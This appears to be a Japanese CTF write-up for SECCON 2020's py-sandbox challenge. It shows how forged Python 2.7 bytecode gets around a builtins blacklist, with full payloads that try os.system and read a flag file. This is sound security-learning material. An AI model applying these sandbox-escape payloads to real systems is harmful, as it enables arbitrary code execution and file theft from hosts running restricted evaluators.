# py-sandbox - SECCON Online 2020
###### tags: `SECCON`
## 概要
`run.py`が渡される。Python2.7で動くらしい。
オブジェクトが結構消されてるのと
```python
for k in keys:
if k not in ['False', 'None', 'True', 'bool', 'bytearray', 'bytes', 'chr', 'dict', 'eval', 'exit', 'filter', 'float', 'format', 'hash', 'id', 'int', 'iter', 'len', 'list', 'long', 'map', 'max', 'ord', 'print', 'range', 'raw_input', 'reduce', 'repr', 'setattr', 'sum', 'type']:
del __builtins__.__dict__[k]
```
ブラックリストがある。
```python
def check(s):
s = s.lower()
if len(s) > 0x1000:
return False
for x in ['eval', 'exec', '__', 'module', 'class', 'globals', 'os', 'import']:
if x in s:
return False
return True
```
## 調査
結構制約が厳しいけど、まぁpythonのオブジェクト破壊していけばなんとかなるやろ(適当)
### Pythonの関数の調査
Python 2.7という情報しか無いので詳しいバージョンは分からないが、2.7.15がローカルにあったので、2.7.15のソースコードを落として読む。
2.7.15で`PyObject`は次のように定義されている。
```cpp
typedef struct _object {
PyObject_HEAD
} PyObject;
```
本体はこっち。
```cpp
#define PyObject_HEAD \
_PyObject_HEAD_EXTRA \
Py_ssize_t ob_refcnt; \
struct _typeobject *ob_type;
```
gdbで`PyObject_SetAttr`などにブレークポイントを設置して関数オブジェクトを確認する。
```
pwndbg> x/2xg 0x7ffff7ea9758
0x7ffff7ea9758: 0x0000000000000002 0x0000555555959680
```
`_typeobject`構造体は次のように定義されている。
```cpp
typedef struct _typeobject {
PyObject_VAR_HEAD
const char *tp_name; /* For printing, in format "<module>.<name>" */
Py_ssize_t tp_basicsize, tp_itemsize; /* For allocation */
/* Methods to implement standard operations */
...
/* More standard operations (here for binary compatibility) */
hashfunc tp_hash;
ternaryfunc tp_call;
reprfunc tp_str;
getattrofunc tp_getattro;
setattrofunc tp_setattro;
...
```
これも中身を見る。
```
pwndbg> x/32xg 0x0000555555959680
0x555555959680 <PyFunction_Type>: 0x000000000000001a 0x0000555555939ae0
0x555555959690 <PyFunction_Type+16>: 0x0000000000000000 0x00005555556eba61
0x5555559596a0 <PyFunction_Type+32>: 0x0000000000000058 0x0000000000000000
0x5555559596b0 <PyFunction_Type+48>: 0x00005555556b38e0 0x0000000000000000
0x5555559596c0 <PyFunction_Type+64>: 0x0000000000000000 0x0000000000000000
0x5555559596d0 <PyFunction_Type+80>: 0x0000000000000000 0x00005555556b38b0
0x5555559596e0 <PyFunction_Type+96>: 0x0000000000000000 0x0000000000000000
0x5555559596f0 <PyFunction_Type+112>: 0x0000000000000000 0x00005555555dc3d0
0x555555959700 <PyFunction_Type+128>: 0x00005555556b3700 0x00005555555f95e0
0x555555959710 <PyFunction_Type+144>: 0x00005555555dde70 0x00005555555de340
0x555555959720 <PyFunction_Type+160>: 0x0000000000000000 0x00000000000e51eb
0x555555959730 <PyFunction_Type+176>: 0x0000555555958e40 0x00005555556b3b10
0x555555959740 <PyFunction_Type+192>: 0x0000000000000000 0x0000000000000000
0x555555959750 <PyFunction_Type+208>: 0x0000000000000048 0x0000000000000000
0x555555959760 <PyFunction_Type+224>: 0x0000000000000000 0x0000000000000000
0x555555959770 <PyFunction_Type+240>: 0x0000555555959200 0x0000555555959080
```
`tp_call`は関数ポインタ。
```
pwndbg> x/8i 0x00005555556b3700
0x5555556b3700 <function_call>: push r15
0x5555556b3702 <function_call+2>: push r14
0x5555556b3704 <function_call+4>: mov r15,rdi
0x5555556b3707 <function_call+7>: push r13
0x5555556b3709 <function_call+9>: push r12
0x5555556b370b <function_call+11>: mov r14,rdx
0x5555556b370e <function_call+14>: push rbp
0x5555556b370f <function_call+15>: push rbx
```
### 関数本体の書換
Python 2系では`func_code`という属性があるらしい。3では`__code__`だった。
これの型は`code`という謎の型で、一応type関数でPythonコードから取得・利用できる。
このcodeというtypeを使うには12個の引数が必要と怒られるが、さすがにguessできないので調べる。
https://stackoverflow.com/questions/6612449/what-are-the-arguments-to-the-types-codetype-python-call
たぶんこれじゃないかな(適当)
```
PyCode_New(int argcount, int nlocals, int stacksize, int flags,
PyObject *code, PyObject *consts, PyObject *names,
PyObject *varnames, PyObject *freevars, PyObject *cellvars,
PyObject *filename, PyObject *name, int firstlineno,
PyObject *lnotab)
```
12個以上あるけどまぁ適当に置いて、あとはエラーメッセージから推測する。
```python=
f = lambda x: x
type_code = type(f.func_code)
f.func_code = type_code(0, 0, 0, 0, "hoge", (), (), (), "A", "B", 123, "C")
print(f.func_code)
```
なんとなく役割が分かる。
```
<code object B at 0x7ffff7e96cb0, file "A", line 123>
```
第5引数は実際のバイトコードっぽい。第6〜8引数はそれぞれconsts, names, varnamesだと思う。(知らん)
少なくともconstsは重要で、`LOAD_CONST`を使うときにここに載ってるやつらが使えるようになる。やったね。
例えば次のような関数を作ってみた。
```python=
f = lambda x: x
type_code = type(f.func_code)
consts = ("Hello, World!", None)
args = ("s",)
fake_code = ""
fake_code += "\x64" + "\x00\x00" # load_const
fake_code += "\x47" # print_item
fake_code += "\x48" # print_newline
fake_code += "\x7c" + "\x00\x00" # load_fast
fake_code += "\x47" # print_item
fake_code += "\x48" # print_newline
fake_code += "\x64" + "\x00\x01" # load_const
fake_code += "\x53" # return value
f.func_code = type_code(
1, # argcount
1, # nlocals
1, # stacksize
67, # flags
fake_code, # bytecode
consts, # constants
(), # local variables
args, # arguments
"nyanta.py", # filename
"neko_func", # objet name
114514, # line number
"?" # nazo
)
f("hogehuga")
```
命令コードは[ここ](https://blog.csdn.net/lxlmycsdnfree/article/details/78694474)の表を参考にした。
これを動かすとこんな感じ。
```
$ python test.py
(1, 1, 1, 67, 'd\x01\x00GH|\x00\x00GHd\x00\x00S', (None, 'Hello'), (), ('s',), 'test.py', 'g', 1, '\x00\x01\x05\x01')
Hello, World!
hogehuga
Segmentation fault (コアダンプ)
```
やったぜ。ちゃんとreturnしたつもりがなんか落ちてるけどまぁいっか!w
### evalの作成
引数を扱える関数を偽造できたので、中身をevalとかos.systemみたいな何かにしたい。
今回の問題ではevalはブラックリストに登録されているものの、削除はされていない。
一方、evalするだけの関数を逆アセンブルすると次のようになる。
```
(1, 1, 2, 67, 't\x00\x00|\x00\x00\x83\x01\x00\x01d\x00\x00S', (None,), ('eval',), ('s',), 'test.py', 'g', 3, '\x00\x01')
4 0 LOAD_GLOBAL 0 (eval)
3 LOAD_FAST 0 (s)
6 CALL_FUNCTION 1
9 POP_TOP
10 LOAD_CONST 0 (None)
13 RETURN_VALUE
```
たまげたなぁ・・・
ということで今回の制約下でも同じものが作れる。
```python=
f = lambda x: x
type_code = type(f.func_code)
consts = (None,)
variables = ("ev" + "al",)
args = ("s",)
fake_code = ""
fake_code += "\x74" + "\x00\x00" # LOAD_GLOBAL(0)
fake_code += "\x7c" + "\x00\x00" # LOAD_FAST(0)
fake_code += "\x83" + "\x01\x00" # CALL_FUNCTION(1)
fake_code += "\x53" # RETURN_VALUE
f.func_code = type_code(
1, # argcount
1, # nlocals
2, # stacksize
67, # flags
fake_code, # bytecode
consts, # constants
variables, # local variables
args, # arguments
"nyanta.py", # filename
"neko_func", # objet name
114514, # line number
"?" # nazo
)
print(f("1+1"))
```
実行結果
```
$ python test.py
2
```
うぇい。
### eval用に書き換える
代入はsetattrで綺麗さっぱり消せる。あとは関数やlambdaを用意しないとダメ。
関数はeval前に抹消されているので、内部で頑張って作るしかなさそう。
これで少し困ったが、リスト内包表記を使えば解消できることに気づいた。
## Exploit 1
嬉々としてexploitを送った。
```python
[[setattr(f,'func_code',type((lambda x:x).func_code)(1,1,2,67,"\x74\x00\x00\x7c\x00\x00\x83\x01\x00\x53",(None,),("ev"+"al",),("s",),"nyanta.py","neko_func",114514,"?")),f('_'+'_imp'+'ort_'+'_("o'+'s").system("ls")')] for f in [x for x in [lambda x:x]]]
```
結果:
```
Welcome to yet another sandboxed python evaluator!
Give me an expression (ex: 1+2):
> [[setattr(f,'func_code',type((lambda x:x).func_code)(1,1,2,67,"\x74\x00\x00\x7c\x00\x00\x83\x01\x00\x53",(None,),("ev"+"al",),("s",),"nyanta.py","neko_func",114514,"?")),f('_'+'_imp'+'ort_'+'_("o'+'s").system("ls")')] for f in [x for x in [lambda x:x]]]
Traceback (most recent call last):
File "run.py", line 40, in <module>
main()
File "run.py", line 37, in main
print_result(sandboxed_eval(s))
File "run.py", line 30, in sandboxed_eval
return eval(s)
File "<string>", line 1, in <module>
File "nyanta.py", line 114514, in neko_func
File "<string>", line 1, in <module>
NameError: name '__import__' is not defined
```
そっかぁ・・・
なんならosも消されてるし泣いちゃった。
あと出力がintじゃないと怒られるのでencodeでごまかす。
ここまできて、これ実はスタックに偽のobject用意してsystem関数呼び出す問題では、という疑惑が。
## Exploit 2
もうダメぴよ〜となっていたが、冷静に考えればbuiltinsから辿れば1990年代いにしえのpython jail問に帰着する。
eval中で
```
().__class__.__base__.__subclasses__()
```
を見るとfileが存在するので、ファイル名は`flag`やろと思ってリモートで試す。
```
$ nc localhost 30002
raw_input(filter(lambda x:"file" in "{0}".format(x),[[setattr(f,'func_code',type((lambda x:x).func_code)(1,1,2,67,"\x74\x00\x00\x7c\x00\x00\x83\x01\x00\x53",(None,),("ev"+"al",),("s",),"nyanta.py","neko_func",114514,"?")),f('()._'+'_cl'+'ass_'+'_._'+'_base_'+'_._'+'_subcl'+'asses_'+'_()')] for f in [x for x in [lambda x:x]]][0][1])[0]("./flag").read()+"\n")
Welcome to yet another sandboxed python evaluator!
Give me an expression (ex: 1+2):
> SECCON{creating_sandbox_is_really_really_impossible}
wrong program
```
やったぁ
- formatを使っているが、これはfileを探すだけなので実質不要。
- ファイル名が分からなくても、sys.hogeがあったのでそこからsysを辿れば良いんじゃないかな。
## 意見・感想
- idやformatを許すと絶対アドレスリークしてsystem関数直接叩くチームが出てくると思う。
→idとformatは消そう!他にもアドレス分かるようなやつがあれば消そう!
- flushしてないからリモートでstdioが崩壊してる
- フラグの名前をguessできたからちょっと楽できた